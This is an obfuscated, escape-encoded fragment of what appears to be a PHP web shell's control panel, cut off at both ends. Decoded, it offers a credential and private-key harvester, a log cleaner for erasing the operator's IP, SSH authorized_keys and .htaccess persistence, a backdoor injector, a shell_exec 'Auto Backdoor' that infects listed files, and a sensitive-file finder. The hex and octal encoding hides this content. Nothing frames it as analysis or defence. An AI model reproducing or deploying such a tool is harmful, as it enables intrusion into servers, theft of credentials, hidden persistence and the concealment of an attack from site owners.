145\x6e\164\151\141\154\40\x48\141\162\166\x65\x73\x74\145\162\74\x2f\x68\x33\76\x3c\160\40\163\x74\x79\x6c\x65\x3d\x22\143\x6f\154\x6f\x72\x3a\40\166\141\x72\x28\x2d\x2d\164\145\170\x74\55\x6d\145\144\x29\73\x22\76\x52\x65\x63\165\162\x73\x69\166\x65\154\171\40\x73\x65\141\162\x63\150\40\x66\157\x72\40\x63\x72\145\144\x65\x6e\x74\151\141\x6c\x73\54\40\x41\120\x49\40\x6b\145\171\163\54\40\141\x6e\x64\40\x70\162\151\166\141\164\x65\40\153\145\171\x73\40\167\151\x74\x68\151\156\x20\141\x20\x64\x69\162\145\143\x74\x6f\162\x79\56\74\x2f\160\76\74\x64\151\166\x3e\74\x69\156\x70\165\164\40\164\x79\x70\145\75\42\164\x65\x78\x74\42\x20\x69\x64\x3d\42\x63\162\x65\x64\55\150\x61\162\166\145\163\x74\x65\x72\x2d\x70\x61\x74\150\42\40\160\154\141\143\145\x68\157\x6c\x64\145\162\x3d\42\123\x74\x61\162\164\x20\120\x61\164\150\40\x28\x65\x2e\147\56\54\x20\57\166\141\162\57\x77\x77\x77\x29\x22\x20\163\x74\x79\154\x65\x3d\42\146\x6c\145\x78\72\61\73\40\155\141\162\147\x69\x6e\55\x72\x69\147\x68\x74\x3a\x31\x72\x65\x6d\73\x22\x3e\x3c\142\165\x74\164\157\x6e\x20\x69\x64\x3d\42\143\162\x65\144\55\x68\x61\x72\166\145\x73\164\x65\162\x2d\x62\x74\156\42\76\x48\141\162\x76\145\163\164\40\x43\x72\145\x64\x65\156\164\x69\x61\x6c\x73\74\x2f\x62\165\x74\x74\157\156\76\74\x2f\144\x69\166\76\74\x70\162\x65\40\x69\144\75\x22\143\x72\x65\144\55\x68\x61\162\x76\x65\163\x74\x65\162\x2d\x6f\165\x74\160\x75\164\42\40\143\x6c\141\163\163\x3d\42\157\x75\x74\160\165\164\x2d\x62\x6f\170\42\x3e\x3c\57\160\162\145\76\74\57\x64\151\166\76\x3c\150\162\x3e\x3c\144\151\x76\x20\143\x6c\141\x73\163\x3d\x22\164\157\x6f\x6c\x2d\163\145\143\164\x69\x6f\156\42\76\74\150\x33\76\x43\x6f\x6e\x74\x65\156\164\40\x53\145\141\162\143\x68\40\50\x67\162\x65\160\51\74\x2f\x68\63\76\74\160\x20\163\x74\x79\154\x65\x3d\x22\143\x6f\x6c\x6f\162\72\x20\166\141\162\50\x2d\x2d\x74\x65\x78\x74\x2d\x6d\145\144\51\x3b\42\76\123\145\x61\x72\143\x68\40\146\x6f\x72\x20\163\x70\145\x63\151\x66\151\143\40\143\x6f\156\x74\145\156\164\x20\x69\x6e\x73\151\144\x65\40\146\x69\154\x65\163\40\50\145\x2e\x67\56\54\40\x66\151\x6e\x64\x20\x22\104\x42\137\120\x41\x53\x53\127\x4f\x52\104\42\x20\x69\x6e\40\141\x6c\x6c\40\x50\x48\120\40\146\x69\x6c\x65\x73\x29\56\x3c\57\160\x3e\74\144\151\166\76\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\x3d\x22\164\145\x78\x74\x22\x20\151\144\x3d\x22\x63\x6f\x6e\164\145\x6e\x74\55\x73\x65\x61\x72\143\150\55\160\x61\x74\150\x22\40\160\154\141\x63\x65\150\157\x6c\x64\145\162\x3d\x22\x53\164\x61\162\164\40\x50\141\x74\150\40\x28\x65\x2e\147\56\x2c\x20\57\x76\141\162\57\167\167\x77\51\42\x20\163\x74\171\154\x65\75\42\x66\154\x65\170\x3a\x31\73\x20\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\72\x31\x72\x65\x6d\73\42\x3e\74\151\156\160\165\164\40\x74\x79\x70\145\x3d\42\x74\145\170\x74\x22\40\151\x64\x3d\42\143\x6f\156\x74\x65\156\164\55\163\x65\141\162\x63\x68\x2d\x66\x69\154\145\x2d\x70\x61\164\x74\x65\162\x6e\x22\x20\x70\154\x61\143\145\150\x6f\154\x64\x65\x72\75\42\106\x69\x6c\x65\40\x50\x61\x74\x74\x65\x72\156\x20\50\145\56\147\x2e\x2c\40\52\56\160\150\160\51\42\x20\163\x74\x79\x6c\x65\75\x22\146\154\x65\170\72\61\73\x20\155\x61\162\147\x69\156\55\x72\151\x67\x68\x74\x3a\61\x72\145\155\73\42\76\74\x69\x6e\x70\165\164\x20\x74\x79\x70\x65\75\x22\164\145\170\164\42\x20\x69\x64\x3d\42\x63\x6f\156\x74\145\156\x74\55\163\145\x61\162\143\x68\55\160\141\x74\164\145\x72\x6e\x22\x20\160\x6c\141\143\x65\150\157\x6c\x64\145\162\75\42\x43\157\x6e\164\145\x6e\164\40\x74\157\x20\106\x69\156\x64\40\x28\145\56\x67\56\x2c\x20\x70\141\163\163\x77\157\162\x64\x29\42\40\163\x74\171\x6c\x65\75\42\x66\x6c\145\170\x3a\x31\73\40\x6d\x61\162\147\x69\156\x2d\x72\151\x67\x68\164\72\61\162\x65\x6d\x3b\42\x3e\74\142\x75\164\x74\157\156\40\151\x64\75\x22\x73\x74\x61\162\164\x2d\143\157\156\x74\x65\x6e\164\x2d\x73\145\x61\162\143\150\55\142\x74\156\x22\76\x47\x72\145\x70\x3c\x2f\142\x75\164\x74\x6f\x6e\76\74\57\x64\x69\x76\x3e\x3c\x70\x72\145\40\x69\x64\x3d\x22\x63\157\156\x74\145\x6e\x74\x2d\x73\145\x61\162\143\x68\55\x6f\165\x74\160\x75\x74\x22\x20\x63\x6c\x61\163\x73\75\x22\x6f\165\164\x70\165\x74\55\x62\157\170\42\76\74\57\x70\x72\x65\x3e\74\x2f\x64\151\166\x3e\74\150\162\x3e\x3c\144\151\166\x20\143\154\x61\x73\163\x3d\x22\x74\x6f\x6f\154\x2d\x73\x65\143\x74\151\157\156\x22\x3e\x3c\150\63\x3e\x41\x75\x74\157\155\141\164\151\143\40\103\157\x6e\146\151\x67\x20\x47\162\x61\142\x62\145\x72\74\57\x68\63\x3e\x3c\x70\40\x73\x74\171\x6c\145\75\42\143\157\x6c\x6f\162\72\x20\166\x61\x72\50\55\55\x74\145\170\x74\55\155\145\144\51\73\42\76\x41\x75\164\x6f\x6d\141\164\x69\x63\x61\154\x6c\x79\40\x73\x65\141\162\x63\150\145\163\40\146\157\x72\x20\141\156\x64\x20\144\151\x73\x70\x6c\141\x79\x73\40\x63\157\155\155\x6f\x6e\40\143\x6f\x6e\146\x69\147\x75\162\x61\x74\151\x6f\156\x20\x66\x69\154\145\x73\56\74\57\160\x3e\x3c\x62\x75\x74\164\157\x6e\40\151\144\x3d\42\x67\x65\164\x2d\143\x6f\x6e\x66\151\x67\x73\55\x62\164\156\x22\x3e\106\x69\x6e\144\x20\103\x6f\156\146\x69\147\40\106\151\x6c\145\x73\x3c\x2f\x62\x75\x74\164\157\x6e\76\x3c\x64\x69\166\40\x69\x64\x3d\x22\143\x6f\156\146\x69\x67\x73\x2d\x6f\x75\164\x70\165\x74\42\x20\x73\x74\x79\x6c\145\x3d\42\x6d\x61\x72\147\151\156\55\x74\x6f\x70\x3a\40\61\162\x65\x6d\x3b\x22\x3e\x3c\x2f\144\151\166\x3e\74\x2f\144\151\166\x3e\x3c\x68\162\76\x3c\x64\151\x76\40\143\x6c\x61\x73\x73\x3d\x22\164\157\157\154\x2d\163\x65\x63\164\151\x6f\x6e\x22\76\74\x68\x33\x3e\x4c\x6f\147\40\103\154\x65\141\x6e\x65\162\74\x2f\x68\x33\x3e\x3c\x70\x20\x73\164\171\x6c\x65\x3d\42\143\157\154\x6f\162\x3a\40\166\x61\162\x28\x2d\x2d\164\145\170\x74\x2d\155\145\144\x29\73\42\76\x52\145\155\157\x76\x65\40\x6c\151\156\x65\x73\x20\x66\162\x6f\155\40\x61\x20\154\157\147\40\x66\x69\x6c\x65\x20\x74\x68\x61\164\40\x63\157\x6e\164\x61\151\x6e\40\141\x20\163\160\145\x63\x69\x66\x69\x63\x20\153\145\x79\167\157\162\x64\40\50\145\x2e\147\56\54\x20\171\157\165\x72\x20\111\120\40\x61\x64\x64\x72\x65\x73\163\x29\56\x3c\57\x70\x3e\x3c\x64\151\x76\76\74\151\x6e\160\165\x74\x20\164\171\160\x65\x3d\42\x74\145\x78\x74\x22\40\x69\144\x3d\42\154\x6f\147\55\x63\x6c\145\141\156\x65\x72\x2d\146\x69\x6c\x65\x22\40\x70\154\x61\143\145\x68\x6f\154\144\x65\162\75\x22\x46\x75\154\154\40\160\x61\164\x68\x20\x74\157\x20\x6c\x6f\147\40\x66\151\x6c\145\40\50\145\56\147\56\54\x20\x2f\166\x61\x72\57\x6c\x6f\147\x2f\x61\160\x61\x63\x68\145\x32\x2f\x61\x63\143\x65\x73\x73\x2e\x6c\157\147\x29\x22\40\x73\x74\x79\154\145\x3d\42\146\154\145\x78\x3a\61\73\40\155\x61\162\x67\x69\156\x2d\x72\x69\147\x68\164\72\x31\162\145\155\x3b\42\x3e\74\x69\156\160\x75\x74\40\x74\x79\160\x65\75\42\x74\x65\x78\164\x22\x20\x69\144\75\42\x6c\157\147\x2d\x63\x6c\145\x61\156\145\x72\x2d\x6b\x65\171\x77\157\162\x64\x22\x20\160\x6c\141\143\145\150\157\x6c\x64\145\162\x3d\42\113\x65\171\167\x6f\x72\x64\57\x49\x50\x20\x74\x6f\40\162\x65\x6d\157\166\x65\x22\x20\x73\164\171\x6c\145\x3d\42\146\154\145\x78\72\61\x3b\x20\x6d\141\162\147\x69\x6e\55\x72\x69\147\150\164\72\61\162\x65\x6d\x3b\42\x3e\74\x62\x75\164\164\x6f\156\40\151\144\x3d\42\x6c\157\x67\55\143\154\145\x61\x6e\145\x72\55\x62\x74\156\x22\x20\x63\154\x61\163\x73\x3d\42\x64\141\x6e\147\145\162\55\142\x74\x6e\42\76\103\154\x65\141\156\x20\x4c\x6f\x67\x3c\x2f\142\165\164\164\x6f\156\x3e\74\x2f\144\151\166\76\74\x2f\144\x69\166\76\74\x2f\144\151\166\76\74\x2f\x64\151\166\76\12\x20\x9\11\x3c\x64\x69\x76\x20\x69\x64\x3d\x22\166\x69\x65\167\x2d\160\145\162\163\x69\x73\164\145\156\143\x65\x22\40\x63\154\141\x73\x73\75\42\x76\151\145\167\x2d\x63\157\x6e\x74\x61\x69\156\x65\162\42\76\74\x64\151\x76\40\x63\x6c\x61\x73\x73\75\x22\x63\157\x6e\x74\145\156\x74\x2d\150\x65\x61\144\145\x72\x22\76\120\145\162\x73\x69\x73\x74\x65\156\x63\x65\40\115\145\x74\150\x6f\144\x73\74\57\x64\151\166\x3e\x3c\x64\x69\x76\40\x63\154\141\163\163\75\x22\143\157\156\x74\x65\x6e\x74\55\x61\162\145\141\42\x3e\x3c\144\x69\166\40\143\154\x61\163\x73\x3d\x22\x74\x6f\157\154\x2d\x73\x65\143\x74\x69\157\x6e\42\x3e\74\x68\x33\76\123\x53\x48\x20\113\145\x79\x20\115\x61\x6e\x61\147\x65\x72\74\57\150\63\x3e\x3c\160\x20\163\164\x79\154\x65\75\x22\x63\x6f\154\157\x72\x3a\x20\x76\141\x72\50\55\x2d\x74\145\x78\x74\x2d\x6d\145\144\x29\73\x22\76\x41\144\x64\x20\x79\157\x75\162\40\x70\165\x62\154\x69\x63\x20\x53\x53\110\x20\153\145\171\40\164\157\x20\74\143\x6f\x64\145\40\151\x64\x3d\42\x73\x73\x68\x2d\x61\165\164\x68\x2d\153\x65\x79\163\x2d\x70\x61\164\150\42\76\176\57\56\x73\163\x68\x2f\141\165\x74\150\x6f\162\151\172\x65\144\x5f\153\145\171\163\74\x2f\143\157\x64\x65\x3e\x20\x66\157\x72\x20\x70\145\162\163\x69\x73\164\x65\156\164\x20\141\x63\143\x65\163\x73\x2e\x3c\x2f\160\x3e\74\x62\x75\164\x74\157\156\40\x69\x64\x3d\x22\147\x65\x74\55\163\x73\x68\55\x6b\x65\x79\x73\x2d\142\x74\156\x22\x3e\126\151\145\167\40\x43\x75\x72\x72\145\x6e\x74\40\141\x75\x74\x68\157\x72\x69\x7a\145\144\137\153\145\171\163\x3c\x2f\x62\165\x74\164\x6f\x6e\x3e\x3c\x74\x65\170\x74\141\x72\x65\141\x20\151\144\75\42\x73\163\x68\55\153\x65\x79\163\55\x63\x6f\x6e\164\145\156\164\x22\x20\163\164\x79\x6c\x65\x3d\x22\167\151\x64\x74\x68\72\x31\x30\60\45\x3b\x20\x68\x65\151\x67\x68\164\72\40\61\x32\x30\160\x78\x3b\x20\162\x65\163\151\172\145\72\x76\145\x72\x74\151\x63\x61\x6c\x3b\40\x6d\141\162\x67\x69\x6e\72\40\61\x72\145\155\40\60\73\42\40\x70\154\x61\143\145\150\x6f\154\x64\145\x72\75\42\x43\x75\x72\162\145\156\164\40\x6b\x65\x79\163\x20\167\151\154\x6c\40\x62\x65\x20\154\157\x61\x64\145\144\x20\150\x65\162\145\x2e\56\x2e\42\76\x3c\57\x74\x65\x78\x74\x61\x72\x65\141\76\74\164\145\170\164\x61\x72\145\141\x20\x69\x64\75\42\x61\x64\144\55\163\163\x68\55\x6b\x65\171\x2d\x63\x6f\156\x74\145\x6e\x74\x22\40\163\164\x79\x6c\x65\75\42\167\x69\x64\x74\150\72\x31\x30\x30\45\73\40\150\x65\x69\x67\150\164\72\40\70\x30\160\x78\x3b\x20\162\145\x73\151\172\145\x3a\x76\x65\162\164\x69\x63\141\154\73\40\x6d\141\x72\147\151\156\x2d\x62\157\164\164\157\155\72\40\61\162\x65\x6d\x3b\42\40\x70\154\x61\x63\145\x68\157\154\144\x65\x72\x3d\x22\x50\x61\x73\x74\145\x20\x79\157\165\162\40\160\165\142\x6c\x69\x63\x20\153\x65\x79\x20\x74\x6f\40\x61\144\x64\40\x28\145\56\147\56\x2c\40\163\163\x68\55\162\163\x61\40\x41\x41\101\56\56\56\x29\x22\x3e\74\x2f\164\145\170\x74\141\x72\145\141\x3e\x3c\x62\x75\164\164\x6f\x6e\40\x69\x64\75\42\x61\x64\x64\55\163\163\x68\55\x6b\x65\171\x2d\x62\x74\156\x22\40\143\x6c\x61\163\x73\75\x22\144\141\156\147\145\x72\55\142\x74\x6e\x22\x3e\x41\144\144\40\x53\123\x48\40\113\x65\171\74\x2f\x62\x75\x74\164\x6f\156\x3e\x3c\57\144\151\166\76\x3c\150\x72\x3e\x3c\x64\151\166\40\x63\154\x61\x73\163\75\x22\x74\157\x6f\154\x2d\163\145\143\164\151\157\x6e\42\76\74\150\x33\x3e\56\x68\x74\141\143\x63\145\163\x73\40\x50\145\x72\x73\x69\x73\164\145\156\x63\x65\74\57\150\x33\76\x3c\160\x20\163\164\171\x6c\x65\75\42\143\157\154\157\162\72\40\x76\x61\162\x28\55\55\164\x65\170\x74\x2d\x6d\x65\144\x29\x3b\42\76\x55\x73\145\40\141\156\x20\56\x68\164\141\143\143\x65\163\x73\40\x66\x69\154\145\x20\x74\x6f\x20\141\165\x74\x6f\155\x61\164\x69\143\x61\154\154\x79\40\x70\x72\145\160\145\156\144\x20\x61\40\120\x48\120\40\146\x69\x6c\145\40\x74\157\40\141\x6c\154\x20\x6f\x74\150\145\162\40\120\x48\x50\x20\x66\x69\x6c\145\163\40\x69\156\x20\141\40\144\151\162\x65\x63\x74\x6f\x72\x79\x2e\x20\x50\154\141\143\145\x20\171\157\x75\x72\x20\142\x61\143\x6b\144\x6f\157\162\x20\x63\x6f\x64\x65\40\151\156\x20\164\150\145\40\160\x72\x65\160\145\x6e\x64\145\144\40\146\x69\x6c\145\56\74\57\160\76\x3c\x64\x69\x76\x3e\74\x69\x6e\x70\165\x74\40\164\x79\x70\x65\x3d\x22\164\x65\x78\x74\x22\x20\151\144\75\42\x68\164\141\143\x63\x65\163\x73\x2d\x70\x61\x74\150\x22\x20\x70\x6c\141\x63\x65\150\157\154\144\x65\162\75\x22\x46\x75\154\x6c\40\160\141\x74\x68\40\164\x6f\x20\x74\141\x72\x67\x65\x74\x20\144\151\x72\x65\143\164\157\162\171\x22\40\x73\164\x79\154\145\x3d\42\x77\151\x64\164\x68\72\x31\x30\60\x25\73\x20\x6d\141\162\147\x69\156\x2d\142\157\164\x74\x6f\x6d\x3a\61\162\145\x6d\73\42\x3e\74\x69\x6e\x70\x75\x74\40\164\171\x70\x65\75\x22\x74\x65\x78\x74\42\x20\151\x64\x3d\x22\150\x74\x61\x63\143\x65\x73\163\55\146\x69\154\x65\x6e\x61\155\145\42\x20\160\154\x61\143\x65\x68\157\154\144\145\x72\x3d\42\116\141\x6d\145\x20\157\x66\x20\x50\x48\x50\x20\146\151\154\145\40\x74\157\40\x70\x72\x65\160\145\156\x64\x20\x28\145\x2e\147\56\x2c\40\56\151\x6e\144\x65\x78\56\160\x68\160\51\x22\x20\x73\x74\171\154\145\75\x22\167\x69\x64\x74\150\x3a\x31\60\x30\x25\73\x20\155\141\x72\x67\x69\x6e\55\142\x6f\164\164\157\155\72\61\x72\145\155\73\x22\76\x3c\142\x75\164\164\157\156\40\151\144\x3d\x22\x68\164\141\x63\x63\145\x73\x73\55\x70\145\162\x73\151\163\x74\x2d\142\164\156\42\40\x63\154\141\163\x73\x3d\x22\144\x61\156\x67\145\x72\x2d\x62\x74\x6e\42\76\x41\x70\160\x6c\x79\x20\56\150\x74\x61\143\143\x65\x73\163\40\x52\x75\154\x65\74\57\142\165\164\x74\x6f\156\76\74\57\x64\151\x76\x3e\74\x2f\144\151\166\76\x3c\x68\x72\x3e\74\144\x69\166\40\x63\154\141\163\163\x3d\x22\x74\157\157\x6c\55\163\x65\143\164\x69\157\156\42\x3e\74\150\63\x3e\103\157\x64\x65\40\111\x6e\152\x65\143\x74\x6f\x72\x20\57\x20\102\141\x63\153\144\x6f\157\162\40\111\x6e\163\164\141\x6c\x6c\x65\162\74\57\150\63\x3e\x3c\160\x20\x73\164\x79\x6c\145\x3d\42\143\x6f\154\157\x72\72\x20\166\x61\162\50\55\x2d\x74\x65\x78\164\55\155\x65\x64\x29\x3b\x22\76\x49\156\152\145\x63\164\x20\141\x72\142\151\164\x72\x61\x72\171\40\x63\x6f\144\145\40\x6f\x72\40\141\40\x70\x72\145\x64\x65\146\151\156\x65\x64\40\x6d\x69\156\x69\x2d\x62\x61\143\x6b\x64\157\157\162\40\x69\156\x74\157\40\157\x6e\145\40\x6f\162\x20\x6d\x6f\162\145\x20\120\110\x50\40\146\151\x6c\145\163\56\x3c\x2f\x70\x3e\x3c\144\151\166\x20\143\154\x61\x73\163\x3d\42\x74\141\x62\163\x22\x3e\x3c\x73\x70\141\x6e\x20\143\154\x61\163\163\75\x22\x74\x61\x62\55\154\x69\156\153\x20\x61\143\x74\x69\x76\145\x22\x20\x64\x61\x74\141\x2d\164\141\x62\x3d\x22\x63\x75\x73\164\157\x6d\x2d\151\156\x6a\145\143\x74\42\x3e\103\165\x73\x74\x6f\x6d\x20\x49\x6e\x6a\x65\143\164\74\x2f\163\x70\x61\156\x3e\x3c\x73\160\x61\156\x20\143\x6c\141\163\x73\75\x22\164\141\x62\x2d\154\151\156\153\42\40\144\x61\x74\x61\55\164\x61\x62\75\x22\x61\x75\x74\x6f\x2d\x62\141\x63\x6b\144\x6f\x6f\162\x22\76\x41\165\x74\x6f\x20\x42\x61\143\x6b\144\157\157\162\74\57\x73\160\x61\156\76\x3c\x2f\x64\x69\x76\76\x3c\144\x69\166\40\151\x64\75\x22\164\141\x62\55\143\165\x73\164\157\x6d\55\x69\156\x6a\145\x63\164\x22\40\143\154\141\x73\163\75\x22\x74\141\142\55\x63\157\156\164\x65\156\164\40\x61\143\164\151\166\145\x22\x3e\74\x69\156\160\x75\164\x20\x74\x79\160\145\x3d\x22\164\x65\170\164\42\40\151\144\x3d\x22\x69\156\152\145\143\164\55\x70\x61\164\150\42\40\x70\154\141\143\145\x68\x6f\154\x64\x65\x72\x3d\x22\x46\x75\x6c\x6c\40\x70\141\164\x68\x20\x74\157\x20\164\x61\x72\147\145\x74\x20\x66\x69\154\145\x22\x20\163\164\x79\154\145\75\x22\167\x69\144\164\x68\72\61\x30\60\x25\73\40\x6d\x61\x72\x67\x69\x6e\55\142\157\164\x74\157\155\72\40\x31\162\145\x6d\x3b\x22\x3e\74\x74\x65\170\x74\x61\162\145\x61\40\151\x64\x3d\x22\x69\x6e\152\145\143\x74\x2d\x63\157\144\145\x22\x20\x70\x6c\x61\143\145\150\157\x6c\144\x65\x72\x3d\42\131\157\165\162\40\x50\110\120\x20\x63\x6f\144\145\40\x68\145\162\x65\40\x28\x65\56\147\56\54\x20\x69\156\x63\154\165\144\145\x28\47\x62\x61\x63\153\144\157\157\162\x2e\x70\150\160\x27\51\x3b\x29\42\x20\163\164\x79\154\145\75\x22\x77\x69\144\164\x68\72\61\x30\60\45\x3b\x20\150\x65\151\x67\x68\x74\x3a\x20\x31\x30\60\x70\170\x3b\40\x72\145\163\151\172\145\x3a\x76\145\x72\x74\151\143\x61\x6c\x3b\40\155\x61\162\147\x69\156\x2d\142\x6f\x74\x74\157\x6d\x3a\x20\x31\x72\x65\155\x3b\x22\76\x3c\57\164\x65\170\x74\141\162\145\141\x3e\74\x64\151\166\x20\x73\x74\x79\154\x65\x3d\x22\144\x69\163\x70\154\141\x79\x3a\x66\154\145\170\73\x20\147\141\x70\72\x20\x31\162\145\155\x3b\x20\141\x6c\151\x67\x6e\x2d\151\164\x65\155\x73\x3a\143\x65\156\164\x65\x72\73\42\76\74\x73\145\x6c\x65\143\164\x20\151\x64\x3d\42\151\x6e\152\x65\x63\x74\55\x70\157\x73\x69\164\x69\x6f\156\x22\40\x73\164\171\x6c\x65\x3d\x22\167\x69\144\x74\x68\x3a\x20\x31\x35\60\160\x78\73\x22\x3e\74\157\160\164\x69\157\156\40\166\141\x6c\x75\x65\x3d\42\x61\160\x70\x65\156\144\42\x3e\101\x70\x70\145\x6e\x64\x20\x28\x45\x6e\144\40\157\146\x20\x66\151\x6c\x65\51\x3c\x2f\x6f\160\x74\151\157\156\x3e\74\x6f\x70\x74\x69\x6f\156\40\166\x61\154\x75\x65\x3d\42\160\x72\x65\160\145\x6e\144\42\76\x50\162\x65\160\x65\156\144\x20\x28\x53\x74\x61\162\164\40\x6f\146\40\146\x69\154\x65\51\74\x2f\x6f\x70\164\151\157\156\76\74\x2f\163\x65\154\x65\x63\164\x3e\74\x62\165\x74\164\x6f\x6e\40\151\144\x3d\42\x69\x6e\x6a\145\x63\164\55\143\157\144\145\55\142\164\156\x22\x20\x63\x6c\141\x73\163\75\x22\x64\141\156\147\x65\x72\x2d\x62\x74\156\42\76\111\x6e\x6a\x65\x63\x74\x20\x43\157\x64\145\x3c\x2f\x62\x75\164\164\157\156\x3e\74\57\144\151\166\76\x3c\57\x64\x69\166\76\x3c\144\151\x76\x20\x69\x64\75\x22\x74\141\142\x2d\141\165\x74\x6f\55\x62\141\143\153\x64\x6f\x6f\162\42\40\143\154\x61\163\x73\75\x22\164\141\x62\55\143\x6f\x6e\x74\145\x6e\x74\42\76\x3c\x70\x20\x73\164\x79\x6c\x65\75\x22\143\x6f\154\157\162\72\x20\x76\x61\162\50\55\x2d\x74\145\x78\x74\55\155\x65\x64\x29\73\x22\76\111\156\x6a\145\143\164\163\x20\141\x20\163\151\x6d\160\x6c\x65\x20\x60\163\x68\x65\154\x6c\137\145\x78\145\x63\x60\40\x62\x61\x63\153\x64\157\157\162\40\x69\x6e\164\x6f\40\x74\150\145\x20\x66\x69\154\x65\163\40\x6c\151\163\x74\145\x64\x20\142\x65\154\x6f\167\x2e\40\x4f\156\x65\x20\146\151\x6c\145\x20\x70\x65\x72\x20\x6c\x69\x6e\x65\x2e\74\57\160\76\74\164\145\x78\x74\x61\162\x65\141\x20\x69\144\75\42\142\x61\x63\x6b\x64\x6f\x6f\162\x2d\x74\x61\162\147\x65\164\163\x22\40\163\x74\171\x6c\x65\75\42\x77\151\144\x74\150\x3a\61\60\60\x25\x3b\x20\x68\145\x69\x67\x68\x74\72\40\61\65\x30\160\x78\x3b\x20\162\x65\x73\x69\172\145\72\166\145\x72\164\x69\143\141\154\x3b\42\40\160\154\x61\x63\145\x68\157\154\144\145\162\x3d\x22\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x68\x74\155\154\x2f\x69\x6e\144\145\x78\56\160\x68\160\42\x3e\x3c\x2f\164\145\x78\164\x61\x72\x65\141\76\74\142\165\x74\164\157\x6e\40\151\x64\x3d\x22\151\x6e\163\164\141\154\154\x2d\142\141\x63\x6b\144\x6f\157\x72\x2d\142\x74\156\x22\x20\x63\154\x61\163\163\75\42\144\141\156\x67\x65\162\55\x62\x74\x6e\x22\40\163\164\171\154\145\75\x22\155\x61\162\147\x69\x6e\x2d\164\x6f\x70\72\61\162\145\x6d\73\x22\x3e\111\156\x66\x65\143\x74\40\106\x69\154\145\163\x3c\57\142\x75\164\164\x6f\156\76\x3c\144\151\166\x20\x69\x64\75\x22\142\141\143\x6b\144\157\157\x72\x2d\162\145\x73\165\x6c\164\163\42\40\163\x74\171\x6c\x65\75\x22\x6d\141\x72\147\151\156\x2d\x74\x6f\x70\x3a\x31\162\x65\155\x3b\x22\x3e\x3c\x2f\x64\x69\166\x3e\74\57\x64\x69\x76\x3e\74\x2f\x64\x69\x76\x3e\74\57\x64\x69\x76\x3e\74\57\144\x69\166\x3e\xa\40\40\x20\x20\x20\40\x20\40\x20\74\144\x69\x76\x20\151\144\x3d\x22\166\x69\145\167\55\144\141\164\141\55\164\x6f\x6f\x6c\163\x22\40\143\x6c\141\x73\163\x3d\42\166\151\x65\167\x2d\143\x6f\156\x74\141\151\156\145\162\x22\76\x3c\x64\x69\166\x20\x63\154\x61\163\163\x3d\42\143\x6f\156\x74\x65\x6e\164\55\150\145\x61\x64\145\162\42\76\x44\x61\x74\x61\40\115\141\156\141\x67\145\155\145\156\164\x20\x54\157\157\154\x73\74\x2f\144\x69\166\76\74\144\151\x76\x20\x63\x6c\141\x73\163\75\42\x63\157\x6e\164\x65\156\164\x2d\141\162\145\141\42\76\74\x64\151\166\x20\143\x6c\x61\x73\x73\x3d\42\164\157\x6f\154\55\x73\x65\x63\164\151\x6f\156\x22\x3e\74\150\63\76\x53\145\x6e\x73\151\x74\x69\x76\x65\x20\106\x69\x6c\x65\x20\106\x69\156\144\145\x72\74\57\x68\63\76\74\x70\40\163\164\x79\154\145\75\42\143\x6f\x6c\x6f\x72\x3a\40\166\x61\x72\50\55\x2d\x74\x65\x78\164\55\155\x65\144\51\73\x22\76\123\143\141\156\x20\x61\40\144\x69\162\145\x63\x74\157\162\x79\40\x66\x6f\162\40\146\151\x6c\x65\x73\40\x63\157\x6e\x74\141\151\x6e\151\156\147\x20\163\x65\156\x73\151\x74\151\x76\x65\40\x64\141\164\x61\40\x6f\162\40\167\151\164\x68\40\163\x65\156\163\151\164\151\166\x65\40\156\x61\x6d\145\163\x20\x28\x65\56\x67\x2e\54\40\56\163\x71\x6c\x2c\40\56\160\x65\x6d\54\40\151\144\137\x72\x73\x61\51\56\74\57\160\76\74\151\x6e\160\x75\x74\40\x74\171\x70\145\x3d\42\x74\145\170\x74\x22\x20\x69\144\x3d\42\163\x65\156\x73\x69\164\151\166\145\x2d\163\143\x61\156\55\x70\x61\164\x68\x22\40\160\154\x61\x63\145\x68\157\x6c\144\145\162\x3d\42\x46\165\154\x6c\40\x70\141\164\150\x20\x74\x6f\x20\x73\143\141\x6e\x20\50\x65\56\147\56\x2c\x20\57\x76\141\x72\x2f\167\x77\x77\x29\x22\x20\163\x74\x79\154\145\75\42\x77\151\x64\x74\x68\x3a\x31\60\x30\45\73\40\x6d\x61\162\x67\151\x6e\x2d\x62\x6f\x74\x74\157\155\x3a\x31\162\145\155\x3b\x22\x3e\74\142\x75\164\164\157\x6e\x20\x69\144\75\42\162\165\x6e\55\163\x65\x6e\x73\x69\164\151\166\x65\x2d\163\x63\141\x6e\x2d\x62\164\x6e\x22\x3e\123\x63\x61\x6e\40\x66\x6f\162\x20\x53\x65\156\163\x69\x74\151\x76\x65\x20\x46\151\154\145\163\74\57\x62\165\x74\164\157\156\76\x3c\144\x69\166\x20\x69\144\75\42\x73\x65\x6e\163\151\164\x69\166\x65\x2d\x73\x63\x61\x6e\x2d\162\145\x73\x75\154\164\x73\42\x20\163\x74\171\154\145\x3d\42\x6d\141\x72\x67\151\x6e\x2d\x74\157\160\x3a\x31\162\x65\x6d\73\42\76\x3c\57\x64\x69\x76\76\74\x2f\x64\x69\x76\x3e\74\x68\162\76\74\144\x69\166\x20\x63\x6c\x61\163\x73\x3d\x22\164\157\x6f\x6c\x2d\x73\x65\143\164\151\x6f\156\x22\76\x3c\150\x33\x3e\x46\x69\154\145\57\104\x69\x72\x65\x63\164\157\162\x79\x20\103\150\x61\x6e\147\x65\x20\x4d\x6f\x6e\x69\x74\x6f\162\x3c\57\150\63\x3e\x3c\160\x20\163\x74\171\x6c\x65\75\x22\143\157\x6c\157\162\x3a\40\x76\x61\162\x28\55\55\164\145\170\164\x2d\x6d\145\144\x29\x3b\42\x3e\115\x6f\156\151\x74\x6f\x72\40\x61\x20\x70\x61\x74\x68\40\x66\157\x72\40\141\40\x73\145\164\40\x64\x75\x72\141\x74\151\157\156\40\141\x6e\144\x20\x72\145\160\x6f\162\x74\x20\141\156\171\x20\143\x72\x65\x61\x74\145\144\54\x20\144\145\154\145\x74\x65\x64\54\40\x6f\x72\x20\x6d\x6f\x64\x69\x66\151\x65\x64\40\x66\151\154\x65\163\56\74\x2f\x70\x3e\x3c\x64\151\x76\x20\x73\x74\171\154\x65\75\42\144\151\163\160\x6c\141\171\x3a\146\x6c\145\x78\x3b\x20\x67\x61\x70\72\40\x31\162\145\x6d\73\x20\x61\x6c\x69\147\x6e\x2d\151\x74\x65\x6d\163\x3a\143\145\156\x74\145\162\73\42\x3e\x3c\151\x6e\160\165\164\40\x74\171\x70\1